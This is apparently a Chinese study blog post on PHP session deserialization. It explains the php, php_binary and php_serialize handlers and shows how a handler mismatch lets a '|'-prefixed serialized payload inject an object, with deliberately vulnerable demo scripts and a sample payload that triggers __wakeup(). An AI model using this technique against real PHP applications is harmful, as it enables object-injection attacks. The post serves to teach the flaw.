PHP Session反序列化学习

Session 基础知识

session–会话控制,Session 对象存储特定用户会话所需的属性及配置信息,当用户在应用程序的
Web 页之间跳转时,存储在 Session 对象中的变量将不会丢失,而是在整个用户会话中一直存在下
去。当用户请求来自应用程序的 Web 页时,如果该用户还没有会话,则 Web 服务器将自动创建一
个 Session 对象。当会话过期或被放弃后,服务器将终止该会话。

PHP Session 配置

1
2
3
4
与session序列化相关的配置
Session.save_path="session文件存储的位置"
Session.auto_start=0 --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
Session.serialize_handler = php --定义用来序列化/反序列化的处理器名字。默认使用php

PHP Session 序列化及反序列化处理器
PHP 内置了多种处理器用于存取 $_SESSION 数据时会对数据进行序列化和反序列化,常用的有以
下三种。

处理器 对象存储格式
php 键名+竖线+经过serialize函数反序列化处理的值
Php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过 serialize() 函数反序列处理的值
Php_serialize(php>=5.4) 经过serialize函数反序列化处理后的数组

经过serialize函数反序列化处理后的数组
提供了Session.serialize_handler配置选项,定义用来序列化或反序列化的处理器名字,默认是
php,如果要使用别的需要添加代码ini_set(‘session.serialize_handler’, ‘需要设置的引擎’)如下

1
2
3
4
5
6
7
8
9
<?php
ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
//ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['ly0n'] = $_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

然后我们通过传入一个值ly0n来看下三种处理器的存储格式
php

php_serialize

php_binary

安全隐患

通过上面的分析知道当$_session反序列化存储的时候使用的处理器和序列化时使用的处理器不相同时就会导致数据无法正确的进行反序列化,但是通过特殊的构造就可以伪造任意数据进行利用。

测试1

使用不同的引擎来处理session文件

php引擎的存储格式是键名 | 反序列化处理的值
php_serialize引擎的存储格式是反序列化处理的值。如果程序使用两个引擎来分别处理的话就会出
现问题。
我们先以php_serialize处理器来存储session,再使用php来读取session文件
php_serialize.php

1
2
3
4
5
6
7
8
9
<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['ly0n']=$_GET['a'];
echo "<pre>";
var_dump($_SESSION);
echo "</pre>";

?>

使用php处理器读取session文件
php.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
ini_set("session.serialize_handler","php");
session_start();
class student{
var $name;
var $age;
function __wakeup()
{
echo "hello ".$this->name."!";
}
}


?>

利用思路

访问php_serialize.php 在客户端接受的数据前加一个| ,由于是php_serialize处理器处理,所以只
会将|作为一个正常字符,然后再去访问php.php,这时候处理器变成了php,由于php处理器的格
式所以在遇到|时,处理器就会把它当作键与值的分隔符,从而通过特殊的构造就可以伪造任意数
据进行利用。

生成一个利用的payload

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class student{
var $name;
var $age;
}
$a = new student();
$a->name="ly0n";
$a->age="1111";
echo serialize($a);


?>

1
O:7:"student":2:{s:4:"name";s:4:"ly0n";s:3:"age";s:4:"1111";}

访问php_serialize.php传入payload,注意在最前面加一个|
然后看下session的文件

然后去访问php.php

成功触发了student类的__wakeup()方法,所以这种攻击思路是可行的。但这种方法是在可以对session的进行赋值的,那如果代码中不存在对$_SESSION变量赋值的情况下又该如何利用呢

—————————-先写到这,做个分割线————————————————————————————————